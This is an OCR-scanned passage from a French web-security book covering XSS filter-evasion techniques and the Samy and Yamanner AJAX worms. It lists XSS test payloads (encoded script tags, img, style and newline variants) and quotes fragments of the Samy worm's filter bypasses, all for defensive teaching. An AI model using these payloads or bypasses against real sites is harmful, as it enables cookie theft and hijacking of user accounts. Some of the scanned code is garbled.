code HTML pour certains usages legitimes, c'est probablement une mauvaise idee que 
d' accepter toute instruction JavaScript les yeux fermes, car cela ouvre la porte a des 
attaques malveillantes. La meilleure maniere de se proteger consiste certes a ecrire 
de bonnes applications web, mais il faut egalement s' assurer que les filtres de saisie ne 
puissent pas etre contournes a I'aide de fonctions puissantes comme XMLHttpRequest. 
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Les developpeurs savent bien qu'il est difficile de restreindre les saisies necessaires au 
bon fonctionnement d'une application ; par consequent, interdire les elements poten- 
tiellement mauvais ou simplement inutiles ne constitue que I'une des nombreuses 
etapes susceptibles d'eviter I'insertion de code JavaScript malveillant. 

De nos jours, les applications web modemes dependent beaucoup des filtres de saisie. 
Tous les professionnels de la securite sur le Web insistent encore et encore sur ce point 
dans leurs seminaires consacres au sujet. Le besoin de filtres de saisie est important, 
mais moins pressant que la necessite de disposer de tons filtres de saisie. On s'en 
affranchit presque aussi facilement que Ton pouvait berner les signatures des logiciels 
de detection d'intrusion (IDS ou Intrusion Detection Systems) dans les annees 1990 - 
c'est quasiment un jeu d'enfant. De nombreux sites ont certes rallie la mode des filtres 
de saisie voici deja des annees, mais les bons outils, ou meme les listes blanches, n'ont 
pas toujours ete au rendez-vous. 

Ainsi, dans le cas d'une chaine de reference permettant d'introduire une attaque XSS 
(par exemple, <script>alert(docunient.cookie)</script>, plusieurs variantes 
permettent de leurrer les mesures de filtrage. Les exemples suivants presentent quelques 
methodes de contournement, s'appuyant sur des encodages en Base64, hexadecimal ou 
decimal : 

■ Base64. PHNjcmlwdD4= 

■ hexadecimal. <script> 

■ decimal. &#60&#115&#99&#114&#105&#112&#116&#62 

L' application web applique-t-elle son filtre de saisie sur toutes ces valeurs ? Probable- 
ment. Qu'en est-il du navigateur ? Si un attaquant publiait un script sur une page web 
convertie ensuite automatiquement en ASCII par son navigateur, ce probleme de secu- 
rite releve-t-il du client ou de 1' application web ? Comme nous le verrons plus loin en 
evoquant le ver Samy, de nombreuses limitations des navigateurs compliquent la mise 
en place d'une politique de protection efficace contre les soucis poses par la conversion 
de caracteres d'un format ou d'un codage a un autre. 

Une maniere rapide de controler les transformations entre caracteres de scripts ecrits 
en ASCII, hexadecimal ou binaire consiste a s'appuyer sur la SecurityQA Toolbar 
d'iSEC. EUe dispose en effet d'une bibliotheque standard pour les verifications 
XSS, qu'elle peut aussi traduire dans les codages hexadecimal ou decimal pour 
savoir si 1' application a mis en place des filtres de saisie robustes et une validation 
positive (par liste blanche) par rapport aux methodes de filtrage elementaires 



Chapitre 4 



Codes JavaScript et AJAX malveillants 113 



(comme la representation ASCII de I'expression "<script>")- Sachant que cette 
option decuplera la duree du test, on choisira sans doute de mener ce calcul de nuit 
pour lui laisser le temps de se derouler. 

L'exercice suivant vous permettra de controler les transformations de caracteres avec la 
SecurityQA Toolbar iS^C : 

1. Rendez-vous sur www.isecpartners.com pour telecharger une copie d'essai du 
produit. 

2. Apres avoir installe la barre d'outils sous Internet Explorer 6 ou 7, dirigez-vous 
depuis ce navigateur sur 1' application web dont vous souhaitez verifier les filtres de 
saisie. 

3. Choisissez le menu Options I Configuration (Options I Configuration). 

4. Sur le cote gauche, selectionnez XSS (Cross-Site Scripting) (XSS ou injection de 
donnees arbitraires) sous la section Module (Module). 

5. Sur le cote droit, cochez la case Transformation Character Set (jeu de caracteres 
transforme) et validez en cliquant sur Apply, comme on le voit a la Figure 4.7. 



iSEC Partners : Security QA Toolbar - Configuration 



Configuration File : | C:\Documents and Settings\jum4nj1 \Desktop\src\Configuration\iSEC.SecurityQA.Configl 
" General - 




Module" 



Module Configuration 
!■■■■ SQL Injection 
i " LDAP Injection 
!■■■■ XRATH Injection 
I " XQuery Injection 
i " SSI Injection 
I " XML Injection 
i " Directory Traversal 
I " SSL Testing 
i " Format Strings 
I " Forced Browsing 
i " Secure Cookie 
!■■■■ HTTP Methods 
I- XSS 
i" CSRF 

i " OS Commanding 
!■■■■ Response Splitting 
=■■■■ ActiveX Testing 



" rLusi 

ilir 



Customize Module Value" 



Security QA Toolbar Libraray 
Customize Module 



|~ International Character Set 
P' Transformation Character Set 




Press apply button to save all of your changes for selected module. 



Apply 



Figure 4.7 

Selectionnez la Transformation pour la bibliotheque XSS. 
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6. Depuis la SecurityQA Toolbar, choisissez Session Management I Cross Site 
Scripting (gestion de session I injection de donnees arbitraires), illustre a la 
Figure 4.8. 



http://www.isecpartners.com/ - Microsoft Internet Ewplorer 




J File Edit View Favorites Tools Help 1^ 


\ iQ Back ' ' 0 @| 1 >^ Se^f^h 


"j!!^ Favorites ^ 


J Address | 


d 


J i5EC Partners; Security QA Toolbar | Data Validation 


Session l^anagement t | Webserver Controls | Code Handling - | Reports | Options - | ► 11 ■ • 7 




Cross-Site Scripting 
Secure Cookies 
Cross-Site Reference Forgery 
Esecute All Tests 




1^ Finding site; wm.isecpartners, com 1 1 1 1 



Figure 4.8 

Fonctionnalite de detection de XSS de la SecurityQA Toolbar 



La SecurityQA Toolbar controlera automatiquement les attaques XSS en appli- 
quant les encodages hexadecimal et decimal sur la requete. Par consequent, la 
chaine <script> sera respectivement transformee en 

&#x3C ; &#x73 ; &#x63 ; &#x72 ; &#x69 ; &#x70 ; &#x74 ; &#x3E ; 
et en 

&#60&#1 1 5&#99&#1 1 4&#1 05&#1 1 2&#1 1 6&#62. 

7. A Tissue de la seance de tests, on pourra observer le rapport du programme sous le 
menu Reports I Current Test Results (rapports I resultats actuels des tests). Le logi- 
ciel SecurityQA Toolbar presente alors dans le navigateur tous les soucis de securite 
decouverts (Figure 4.9). On remarquera la section iSEC Test Value (valeur de test 
iSEC), qui montre qu'un codage en hexadecimal a permis de tromper les filtres de 
saisie sur cette application web. 

A I'heure oil nous ecrivons ces lignes, les encodages hexadecimaux et decimaux, mais 
aussi les balises d'images, de styles et les passages a la ligne, semblent leurrer une grande 
proportion des filtres de saisie. Tous ces moyens peuvent en effet permettre de mener a bien 
une attaque de type XSS, et la SecurityQA Toolbar d'iSEC les teste tour a tour. 
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Figure 4.9 

Resultats des tests d'injection de donnees arbitraires (XSS) produits par SecurityQA Toolbar. 



Nous les avons repris ci-apres pour reference : 

■ XSS employant des balises de script : 
<script>alert (document . cookie )</script> 

■ XSS s'appuyant sur des balises d' image : 

<IMG SRC=JavaScript : alert (document . cookie )> 



■ XSS reposant sur des balises de style : 

<style> . get cookies (background image : url 
( 'JavaScript : alert (document . cookie) ; ' ) ; } 
</style> <p class="getcookies"></p> 



■ XSS fonde sur des retours a la ligne : 

<script type="text/i ava\nscript ">alert (document . cookie) </script> 
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Cette enumeration, non exhaustive, donne un exemple pour chaque cas de figure. Pour 
information, la SecurityQA Toolbar prevoit 50 controles pour les balises de style et 
autant pour celles d'image - mais une maniere facile de savoir si une application web 
applique des filtres sur les saisies consiste a tester I'une de ces lignes. Si I'une ou I'autre 
fonctionne, cela montre que le filtrage positif (ou liste blanche) est une approche prefe- 
rable lorsqu'il s'agit de bloquer le code JavaScript malveillant. Ainsi, le temps de reagir 
et de contrer une nouvelle technique d'injection (comme par exemple les balises de 
style), une application web sera parfois vulnerable pendant une certaine duree. A 
I'oppose, I'emploi de filtres positifs, n'autorisant que des caracteres connus et approu- 
ves, posera generalement moins de soucis : les donnees proposees en entree sont alors 
comparees a une liste approuvee, plutot qu'a une liste incomplete d'interdits. 

AJAX malveillant 

C'est le ver Samy qui a place le code AJAX malveillant sur le devant de la scene, pour 
le grand public. Les annees 1980 nous ont legue le ver Morris ; les annees 1990 ont 
produit / Love You, Blaster, Sasser, Nimda et Slammer ; le nouveau siecle a vu I'appari- 
tion de Samy et de Yamanner. Samy fut le premier de son espece, un ver AJAX se 
propageant sur plus d'un million de sites de MySpace en I'espace d'a peine quelques 
heures. A la difference des vers du passe, exploitant certains trous de securite des syste- 
mes d'exploitation, Samy s'est engouffre dans les failles d'une application web. L'idee 
sous-jacente etait simple : profiter des faiblesses du filtrage et exploiter les defauts des 
navigateurs en matiere de JavaScript pour realiser certaines actions au nom des utilisa- 
teurs du Web. L'ecriture du ver posait certaines difficultes, et une bonne portion de son 
code visait a contourner les filtres JavaScript, emettre des requetes GET et POST, ou 
encore, appeler diverses fonctions AJAX pour mener a bien toutes les taches necessaires 
a son bon fonctionnement. 

Peu apres le deploiement de Samy sur MySpace, les utilisateurs de Yahoo ! Mail souf- 
frirent les effets d'un ver appele JS-Yammer. Celui-ci exploitait une faiblesse de secu- 
rite sur ce site, permettant d'executer sur le systeme de I'utilisateur des scripts 
enchasses dans un courriel au format HTML. Lors de la lecture de celui-ci par la 
victime, tous les utilisateurs yahoo.com yahoogroups . com de son carnet d'adresses 
recevaient le message malveillant, dont I'ouverture les infectait a leur tour. Samy a 
certes provoque 1' arret pour quelques heures d'un systeme comptant des centaines de 
millions de sites web, en ecornant serieusement I'image de MySpace au passage, mais 
le ver de Yahoo ! Mail a probablement provoque davantage de sueurs froides : il s'agissait, 
dans ce cas, du detournement puis de I'abus de carnets d'adresses personnels. 

La prochaine section du chapitre evoque les manieres dont on peut detoumer du code 
JavaScript pour realiser des actions parfois simples (visiter une page web au nom d'un 
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utilisateur sans que celui-ci ne s'en rende compte), parfois tres complexes (mettre a mal 
une page web representant des centaines de millions d'euros ou detoumer des informations 
personnelles a I'insu de leur proprietaire). 

XMLHttpRequest 

Les applications AJAX reposent souvent sur la bibliotheque XMLHttpRequest (XHR), 
qui permet de realiser des transferts asynchrones de donnees. Cette derniere aide les 
developpeurs a emettre ou recuperer des donnees sur HTTP, sur divers autres sites, en 
employant un canal independant la reliant au navigateur web. XHR est tres importante 
pour les applications du Web 2.0, car elle permet aux pages d'implementer des actions 
reagissant en temps reel sans imposer un rafraichissement de toute la page (ni aucune 
action que ce soit de la part de I'utilisateur). Les developpeurs apprecient cette 
propriete, car elle signifie que seules les donnees modifiees devront etre echangees et 
non plus I'integralite du code HTML. En consequence, les applications web semblent 
plus reactives. La methode open de XHR lui donne acces a la plupart des methodes 
HTTP et notamment a GET, POST, HEAD, POST et DELETE : 

Open (methode HTTP, URL) 

Voici un exemple de requete XHR permettant d'emettre un GET sur une page web : 

open( "GET" , "http: / /www. isecpartners . com" ) 

Avec XHR, un agresseur attirant un utilisateur sur une page web pourra realiser en son 
nom des requetes GET et POST. La bibliotheque presente une propriete interessante : elle ne 
reaUsera aucune action sur un autre domaine que la page en cours. Ainsi, dans le cas d'une 
victime visitant www.ParisSaintGermain.com, oil Ton trouve une requete XHR 
malveillante soumettant un GET HTTP vers un site mechant appele www . OlympiqueDeMar 
seille.com, la tentative echouera car la requete sort du domaine www. ParisSaintGer 
main.com. En revanche, si I'agresseur souhaite cibler www.ParisSaintGermain.com/ 
Boutique, XHR autorisera la demande. 

Meme contraints a rester sur le meme domaine, les agresseurs connaissent de nombreu- 
ses cibles sur les autoroutes de I'information. Sites de reseaux sociaux (MySpace, Face- 
book ou Linked-in), applications de blogs (Blogger.com) ou simplement de simples 
applications de courrier electronique comme celles de Yahoo !, Google ou Hotmail, 
constituent tous des exemples ou des requetes XHR GET ou POST sont susceptibles de 
porter sur des milliers d'utilisateurs situes sur le meme domaine. Le ver Samy a ainsi 
reussi a emettre des requetes POST sur MySpace en appelant I'URL composee du 
prefixe www et suivie du nom de I'utilisateur (www. my space . com + nom d' utilisateur). 

Certains lecteurs, observant que toutes ces proprietes sont partagees par n'importe quel 
code JavaScript, se demanderont peut-etre pourquoi on insiste tant sur XHR ? Cette 
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bibliotheque peut realiser des requetes GET et POST de maniere automatique et facile, 
sans que I'utilisateur ne doive intervenir de maniere significative. Ainsi, une requete 
POST XHR est beaucoup plus aisee a constmire, car il suffit a I'agresseur d'emettre les 
donnees. Avec JavaScript, il lui faudrait constmire, dans une iFrame, un formulaire 
renseignant toutes les valeurs correctes, puis soumettre celui-ci. Pour qu'une attaque 
puisse etre qualifiee de ver, il lui faut etre capable de se propager toute seule, sans inte- 
raction utilisateur ou presque. Par exemple XHR permet d'appeler automatiquement de 
nombreuses requetes HTTP GET ou POST, obligeant un utilisateur a realiser de nombreu- 
ses fonctions de maniere asynchrone. Autre exemple : une fonction XHR malveillante 
pourra forcer un utilisateur a acheter un objet alors qu'il se contente de lire un article de 
forum web presentant le produit. Une application web imposerait de nombreuses etapes 
de verification (ajouter I'objet au panier, confirmer, puis acheter), mais XHR permet 
d'automatiser les requetes POST qui se deroulent en coulisses. 

S'il suffit a un utilisateur de lire son courrier electronique ou de visiter la page de profil 
MySpace d'un ami pour que son navigateur realise des actions malveillantes en son 
nom, en infectant ses amis par le script responsable, alors on se trouve en presence d'un 
vers JavaScript. D' autre part, les applications web etant incapables de distinguer les 
requetes issues d'un utilisateur consentant de celles produites par XHR, il leur est diffi- 
cile de reconnaitre les clics forces des clics legitimes. 

Pour developper I'explication, prenons le cas d'une simple page web imposant automa- 
tiquement au navigateur d'emettre une requete GET vers une URL choisie par I'agres- 
seur. La page de JavaScript qui suit emploie la fonction correspondante de XHR. Quand 
un utilisateur visite I'adresse labs.isecpartners.com/HackingExposedWeb20/ 
XHR. htm, cette fonction XHR realisera automatiquement des requetes GET sur 
labs . isec partners . com/HackingExposedWeb20/isecpartners . htm. 

/ /URL : http : / /labs . isecpartners . com/HackingExposedWeb20/XHR . htm 

<body> 
<script> 

if (window. XMLHttpRequest ) { 

// Pour IE7, Mozilla, Safari, etc. : emploi de I'Dbjet natif 
var xmlHttp - new XMLHttpRequest ( ) 

} 

else 
{ 

if (window. ActiveXObject) { 

// ...sinon, recours au controle ActiveX pour IE5.X et IE6 
var xmlHttp = new ActiveXObj ect ( "Microsoft .XMLHTTP" ) ; 
} 

} 

function updatePage() { 

if (xmlHttp. readyState == 4) { 
if (request. status == 200) { 
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var response = xmlHttp.responseText; 

} 

} 

} 

xmlHttp. open ("GET", 

" http : / /labs . isecpartners . com/HackingExposedWeb20/isecpartners . htm) ; 
xmlHttp.onreadystatechange = updatePage; 
alert (xmlHttp . send ( ) ) ; 

</script> 

iSEC Partners 

</body> 

L'utilisateur souhaitait simplement consulter XHR . htm, mais a travers XHR la page web 
I'a oblige a visiter, a son insu et sans sa permission, isecpartners . htm. Soulignons que 
labs.isecpartners.com/HackingExposedWeb20/XHR.htm ne constitue pas une appli- 
cation AJAX : il s'agit simplement d'une page web statique appelant une fonction 
AJAX dans le navigateur (comme on le voit dans les lignes mises en gras). Par conse- 
quent, c'est Internet Explorer, Safari ou encore Firefox qui executent le GET a travers 
XHR et non pas le serveur web du site distant. 
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Figure 4. 10 

Requete HTTP reniflee. 



Voila qui ne genera guere les agresseurs tachant d' exploiter les proprietes XHR des navi- 
gateurs web modernes. La Figure 4.10 represente un renifleur de paquets (packet sniffer) 
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affichant la requete initiale vers labs . isecpartners . coni/HackingExposedWeb20/XHR . htm 
en ligne 6, puis la XHR automatique vers labs.isecpartners.com/HackingExposed 
Web20/isecpartners . htm en ligne 10. 

L'exemple presente Figure 4.10 pourrait certes produire plus de visites sur une page 
web, mais dans le cas d'une application de portail, comme Yahoo ! ou Google, les 
dommages potentiels augmentent de beaucoup. Sur un site de reseaux sociaux, on pour- 
rait ainsi obliger un utilisateur a emettre par POST les informations de son compte 
(adresse ou numero de telephone) ou encore le forcer a envoyer des courriels a toutes 
les adresses d'une liste de contacts. Voila des possibilites beaucoup plus effray antes et 
sans nul doute realisables avec XHR, selon les controles de securite mis en place par 
r application distante. 

Tests automatises d'AJAX 

Pour identifier les problemes de securite relatifs a la technologic AJAX, il est important 
d'en tester les applications a la recherche de failles connues. A nouveau, I'outil Securi- 
tyQA ToolbarC d' iSEC Partners saura s'acquitter de cette tache d'une maniere automa- 
tique. L'exercice suivant vous permettra de verifier les applications AJAX avec ce 
programme : 

1. Rendez-vous sur www.isecpartners.com pour telecharger une copie d'essai du 
produit. 

2. Apres avoir installe la barre d'outils, dirigez-vous sur I'application web AJAX. 

3. Cliquez sur le bouton rouge Record (Enregistrement), I'avant-demier sur le cote 
droit, puis explorez I'application web. 

4. Apres avoir clique en divers endroits de I'application, cessez 1' enregistrement en 
cliquant sur le bouton d' arret Stop. 

5. Depuis la SecurityQA Toolbar, choisissez Options I Recorded Sessions (options 
I sessions enregistrees). 

6. Choisissez la session que vous venez d'enregistrer, puis selectionnez AJAX dans la 
section Module (module). 

Meme s'il est difficile d'automatiser des tests portant sur AJAX, la SecurityQA 
Toolbar tentera d'y reconnaitre des failles frequentes en matiere d'injection. 

7. Cliquez sur le bouton Go (demarrer) situe sur le cote droit. 

8. A Tissue de la seance de tests, on pourra observer le rapport du programme sous 
le menu Reports I Current Test Results (rapports I resultats actuels des tests). 
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Le logiciel SecurityQA Toolbar presente alors dans le navigateur tous les soucis de 
securite decou verts. 

Ver Samy 

S'appuyant sur du code JavaScript malveillant et sur les defauts des navigateurs, Samy 
inaugura I'ere des vers XSS se propageant automatiquement. Moins de 24 heures plus 
tard, son auteur comptait plus d'un million d'amis sur MySpace, chacun d'entre eux 
proclamant "samy is my hero" (Samy est mon heros). 

Le premier obstacle a franchir etait constitue par les restrictions sur le code HTML 
imposees par les filtres de saisie. En effet, MySpace contraignait les donnees entrees 
pour eviter I'execution de tout code JavaScript mal intentionne. Ainsi, les mots 
<script>, JavaScript <Href > et bien d'autres y etaient interdits - mais ces controles 
s'appuyaient principalement sur des mots statiques comme JavaScript. L' insertion de 
passages a la ligne ou la conversion de certains caracteres en d'autres codages (comme 
r hexadecimal) evitaient ce premier ecueil. 

Voici la maniere dont Samy a berne les filtres de saisie limitant les donnees saisies sur 
MySpace : 

1. Le mot JavaScript etant filtre, Samy s'est contente d'y inserer un passage a la ligne 
(\n), entre java et script. De cette maniere, JavaScript devenait java\nscript, ce 
qui s'ecrit comme suit : 

' java 
script ' 

Ce passage a la ligne ne genait nullement le navigateur, qui interpretait le tout 
comme JavaScript, ouvrant ainsi la voie a I'execution de code JavaScript sur 
MySpace. Le ver Samy est passe de ceci : 

i ava\nscript : eval( document . all . my code . expr) 

a ceci : 

java 

script : eval (document . all . my code . expr) 

2. MySpace filtrait egalement les apostrophes doubles (" ""), necessaires elles aussi au 
ver. Toutes les apostrophes etaient echappees par les filtrages de MySpace, mais 
Samy a pu employer JavaScript pour les retrouver a partir du codage decimal de leur 
valeur ASCII (CharCode(34)), contournant une nouvelle fois les barrieres mises en 
place par le site : 

('double quote: ' + String. f romCharCode(34) ) 
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3. Autre mot bloque par MySpace : innerHTML, necessaire a Samy pour publier du 
code sur le profil de I'utilisateur visitant actuellement la page. Pour contourner ce 
filtre, Samy recourt a la fonction d'evaluation eval(). Le code suivant affichera 
ainsi le nombre 1 1 08 : 

alert(eval("a=1100; b=108; (a+b) ; ")); 

La meme methode permettra encore de concatener plusieurs chaines pour tromper 
les mecanismes de detection. C'est ainsi que Samy accola les mots inne et rHTML, 
comme le montre cet extrait de son code : 

alert(eval( 'document. body. inne' + 'rHTML')); 

4. Le mot onreadystatechange , lui aussi filtre par MySpace, permettait a Samy 
d'employer XMLHttpRequest pour s'assurer que le navigateur de I'utilisateur emette 
les requetes HTTP GET et POST. A nouveau, Samy s'en est sorti avec la fonction 
aval 0 , comme on le voit ci-apres. 

eval( 'xmlhttp.onread' + ' ystatechange = callback'); 

S'appuyant sur ces actions de contoumement du filtrage, Samy a pu executer sur 
MySpace les actions malveillantes suivantes : 

■ executer du code JavaScript ; 

■ employer des apostrophes doubles en convertissant des nombres decimaux en carac- 
teres ASCII ; 

■ creer innerHTML avec eval ( ) , pour pouvoir publier du code sur le profil d'un utili- 
sateur ; 

■ toujours avec eval( ), fabriquer onreadystatechange, de maniere a ce que le navi- 
gateur de I'utilisateur puisse emettre des requetes HTTP GET et POST avec XHR. 

Apres que Samy a contourne ces filtres de saisie pour pouvoir executer le coeur de son 
attaque en JavaScript, comment s'y est-il pris ? L'une des raisons de son succes s'expli- 
que par le fait que XMLHttpRequest peut realiser des requetes GET et POST au nom de 
I'utilisateur et de maniere silencieuse. Autre obstacle a effacer : obliger le navigateur a 
executer de nombreuses requetes GET et POST, explorer les pages source a la recherche 
de certaines valeurs et realiser d'autres actions hostiles au nom de I'utilisateur actuelle- 
ment connecte. Ces dernieres furent principalement realisees en XHR. Les etapes 
suivantes montrent comment Samy a pu proceder. 

1. Samy devait obliger le navigateur d'un utilisateur a emettre des GET pour prendre 
connaissance de I'etat actuel de sa liste de heros. Pour cela, il s'est repose sur 
XMLHttpRequest, grace au contournement de filtre numero 4 mentionne plus 
haut. 
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Cet extrait de code lui permettait d'imposer remission de requetes GET au navigateur : 

function 

getData(AU){ 

IVl=getFromURL(AU, 'f riendID' ) ; 
L=getFromURL(AU, ' Mytoken ' ) 
} 

2. Pour decouvrir le jeton friendID du visiteur de la page, Samy devait en explorer le 
code source. C'est encore la fonction eval ( ) qui est venue a la rescousse, permettant a 
Samy de trouver la valeur recherchee et de la stocker pour plus tard : 

var index = html . indexOf ( ' f rien ' + 'dID'); 

3. Suite a ces requetes GET et a ces recherches, Samy a pu decouvrir une liste d'amis, 
mais il lui fallait encore realiser une requete POST pour obliger I'utilisateur a incor- 
porer Samy dans sa liste d'amis (et de heros). Cette action fut assuree par un POST en 
XMLHttpRequest, encore une fois grace au contournement de filtre numero 4. 
D'autre part, la technique XHR interdisait remission de POST, pour le profil profil, 
sur la machine prof ile . myspace . com, car elle relevait d'un domaine different. 
Cependant, tout profil heberge ici etait egalement accessible a I'adresse 
www.myspace.com/profil (ou profil represente le nom de I'utilisateur concerne). 
Samy a simplement opere la substitution avant d'emettre sa requete, en procedant 
comme suit : 

var 

M=AS[ 'friendID' ] ; 

if (location . hostname== ' profile . myspace . com ' ) { 
document . location^ ' http : / /www. my space . com ' 
+location . pathname+location . search 

} 

else{ 
if ( !IV1){ 
getData(g( ) ) 

} 

} 

En suivant ces etapes, Samy a pu executer sur MySpace les fonctions JavaScript 
malveillantes suivantes : 

■ obliger le navigateur de I'utilisateur a emettre des requetes GET par XMLHttp 
Request ; 

■ inspecter le code source de la page actuelle du visiteur ; 

■ forcer le navigateur de I'utilisateur a emettre des requetes POST par XMLHttp 
Request. 

Ces possibilites, associees aux astuces de contournement des filtres des donnees en 
entree, donnaient pratiquement carte blanche a Samy pour realiser ce qu'il voulait en 
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JavaScript et en AJAX (XMLHttpRequest) des lors qu'un utilisateur visitait sa page de 
profil MySpace. II ne lui restait plus qu'a assurer le chargement du ver ; ce sont les 
etapes suivantes qui font le lien entre la publication du programme et sa propagation : 

1. Placer du JavaScript hostile sur une page MySpace. Des qu'un utilisateur la visite, 
tout le code malveillant est execute par son navigateur, ce qui implique notamment 
remission par celui-ci de requetes HTTP GET et POST. 

2. Le programme ajoute Samy a la liste des amis de la victime, en faisant pour cela 
appel a XHR et a quelques requetes GET et POST. II recupere aussi la liste des heros 
mentionnee sur le profil pour y ajouter a la fin but most of all, samy is my hero^. 

3. C'est la propagation spontanee de Samy qui le classe dans la categoric des vers (par 
opposition a celle des chevaux de Troie). Cette propriete est assuree par 1' insertion 
du code hostile dans la section de heros de la victime. 

4. Apres cette infection, Samy etait incorpore a la liste d'amis. Le piege etait en place 
pour les prochains visiteurs de tous les nouveaux profils infectes, reperant les etapes 
2 a 4 jusqu'a ce que MySpace soit contraint de fermer le site pour en eradiquer le 
ver. 

Ver Yamanner 

C'est aussi du code JavaScript malveillant qui provoqua une attaque de virus affectant 
des utilisateurs du service Yahoo ! Mail en juin 2006. Le virus New Graphic Site, ou 
encore "this is a test", a exploite une faiblesse du site a I'aide de XMLHttpRequest. Le 
trou de securite permettait a des scripts embarques dans du code HTML d'etre executes 
dans le navigateur d'un utilisateur (au lieu d'y etre bloques). A la difference d'autres 
vers fonctionnant par courrier electronique, aucune piece jointe n'etait necessaire ; le 
code JavaScript malveillant se suffisait a lui-meme. Si un utilisateur de Yahoo ! cliquait 
sur un couiTiel infecte, le ver profitait immediatement du point faible trouve dans le 
systeme, permettait a I'agresseur de prendre connaissance de tous les dossiers person- 
nels de la victime, en extrayait tous les comptes dont les adresses se terminaient en 
(ayahoo.com ou (ayahoogroups.com, et se repandait en leur envoyant le message 
malveillant. Toutes les informations coUectees etaient alors transmises a un serveur 
distant sur 1' Internet, probablement controle par I'agresseur. Finalement, le vers 
renvoyait I'utilisateur sur http://www.av3.net/index.htm. 

La faille de securite de Yahoo ! Mail mise a jour par le ver Yamanner rappelait celle 
exploitee par le ver Samy : la possibilite d'ecrire du HTML a I'aide d'un script embar- 
que. A I'aide de XMLHttpRequest, Yamanner a su obliger le navigateur a executer des 
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actions au nom de I'utilisateur actuellement connecte. Une fois la requete XHR rendue 
possible par le ttou de securite de Yahoo !, le script a pu realiser toutes les actions decri- 
tes au paragraphe precedent. Heureusement pour les utilisateurs de Yahoo ! Mail, ce ver 
ne s'en prenait pas a leur systeme d' exploitation - ce qui aurait pu produire des resultats 
bien plus graves. Yamanner a compromis et detourne certaines informations des 
dossiers personnels chez les utilisateurs infectes, posant des soucis de violation de vie 
privee. Contrairement aux donnees systeme, faciles a reconstruire, les informations 
stockees dans un compte de courrier electronique sont plus difficiles a retrouver. 

Resume 

JavaScript et AJAX ne constituent plus des technologies web anodines. Les attaques 
comme XSS, traditionnellement reservees au detournement de cookies de session, sont 
desormais associees a des outils publiquement disponibles, tels que les mandataires 
(proxies) XSS. Une fois charges, ceux-ci donnent a I'agresseur le controle total du navi- 
gateur de la victime, lequel peut prendre note de toutes les frappes de touche de celle-ci 
ou obtenir une copie de son tampon de copier-coller (presse-papiers). D' autre part, ces 
mandataires permettent de contourner les mesures de securite prises par un site web, 
comme les restrictions sur les adresses IP. Associe a ces outils XSS sophistiques, du 
code JavaScript malveillant permet aux agresseurs de lancer des attaques contre le 
reseau interne d'une victime ou de compromettre certaines de ses informations person- 
nelles - comme son historique de navigation. 

La technologic AJAX, qui rend la vie des utilisateurs du Web plus agreable, peut aussi 
se retoumer contre eux. Les vers AJAX, comme Samy et Yamanner, ainsi que certaines 
fonctions puissantes, comme XMLHttpRequest, donnent aux attaquants un nouveau 
terrain de jeu pour manipuler les internautes a leur insu et sans leur permission. A 
I'heure oil de plus en plus de taches quotidiennes, aupai^avant realisees sur des ordina- 
teurs de bureau, migrent sous la forme d' applications web executees dans un navigateur, 
les risques poses par les codes AJAX malveillants augmentent en proportion. 
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Microsoft a developpe la plate-forme .Net pour concuiTencer le langage Java et son kit 
de developpement logiciel (Software Development Kit ou SDK) de Sun Microsystems. 
Le framework .Net propose aux developpeurs un environnement controle se chargeant 
de la gestion de la memoire et de la duree de vie des objets, afin de developper des 
applications web, serveur ou clientes. Ce framework prend en charge de nombreux 
langages (parmi lesquels C#, Visual Basic.Net et Managed C-H-'), la plate-forme appli- 
cative web ASP.Net et de riches bibliotheques de classes. 

Le code ecrit dans un langage de .Net n'est pas directement execute sur la machine, 
mais par un environnement d'execition, composant de machine virtuelle, appele 
Common Language Runtime (CLR). Ce dernier fournit des fonctions de gestion de la 
memoire et des objets en masquant la plate-forme sous-jacente. Cette couche d' abstrac- 
tion permet au code .Net de fonctionner sur de nombreux systemes d' exploitation et 
architectures de processeurs en evitant des failles comme les depassements de tampons, 
d'entiers ou encore les trous de securite poses par les chames de format, generalement 
associees a une mauvaise gestion de la memoire. 

On qualifie generalement de gere (managed) le code s'appuyant sur le CLR ; le code 
traditionnel, fonctionnant en dehors de ce systeme, est dit "natif". En effet, ces deux 
categories de code s'executent respectivement dans un environnement controle ou 
directement sur le processeur de la machine. Actuellement, Microsoft fournit une 
implementation de CLR pour Windows et Windows CE, mais la communaute du logi- 
ciel libre en propose egalement une version appelee Mono. Cette derniere, veritable- 
ment independante de la plate-forme, est disponible sur plusieurs systemes 
d' exploitation et notamment sur GNU/Linux, Mac OS X et FreeBSD. De cette maniere, 
certaines applications .Net peuvent y etre portees. 



L N.D.T. : "C++ gere" 



128 Partiell 



Nouvelle generation d'attaques contre les applications web 



A I'heure ou nous ecrivons ces lignes, la demiere version du framework .Net porte le 
numero 3.0 - il s'agit de sa quatrieme mouture, correspondant a la troisieme version du 
CLR. EUe prend la suite de .Net 1.0, 1.1 (qui ne representait qu'une evolution mineure) 
et 2.0 - lequel introduisait de nouvelles et significatives fonctionnalites du langage et 
une bibliotheque de classes plus developpee). La mouture 2.0 a notamment apporte la 
prise en charge de types generiques, annulables (nullable types, c'est-a-dire susceptibles de 
recevoir la valeur NULL), de methodes anonymes et d'iterateurs. D'autre part, le framework 
.Net propose desormais aux developpeurs de nouvelles fonctionnalites de securite 
applicatives. Dans sa version 3.0, .Net n'a pas enrichi le langage (de fait, le CLR en est 
reste a la version 2.0), mais a developpe les bibliotheques principales de classes en 
incorporant la pile de messagerie Windows Communication Foundation (WCF), 
Infocard (moteur de gestion des flux appele Windows Workflow Foundation (WWF) et 
de nouvelles interfaces de programmation (APL pour Application Programming Inter- 
face) utilisateur dans Windows Presentation Foundation (WPF). Les nouvelles API du 
framework .Net 3.0 furent developpees et sorties de concert avec Windows Vista, mais 
elles sont egalement disponibles pour des versions anterieures de ce systeme d' exploi- 
tation, telles que Windows XP. 

Depuis son apparition, 1' adoption de .Net a enormement progresse ; il constitue desor- 
mais un choix classique pour les developpeurs d' applications web. Ce chapitre se 
penche sur la plate-forme applicative ASP. Net et decrit certaines des fonctionnali- 
tes de securite qu'elle propose aux developpeurs. En particulier, nous evoquerons 
certaines attaques classiques du Web 2.0 et la maniere dont elles se manifestent 
dans .Net. Nous traiterons du framework .Net et du CLR dans leur version 2.0, car il 
s'agit des plus repandus, d'autre part, les elements principaux du langage et des 
bibliotheques n'ont pas evolue entre les versions 2.0 et 3.0. Cette presentation 
suppose que le lecteur connait un minimum le vocabulaire et les concepts de .Net. 
Pour creuser le sujet, rendez-vous sur le reseau pour developpeurs de Microsoft 
{Microsoft Developer Network ou MSDN) a I'adresse http://msdn.microsoft.coin/fr- 
fr/default.aspx. 

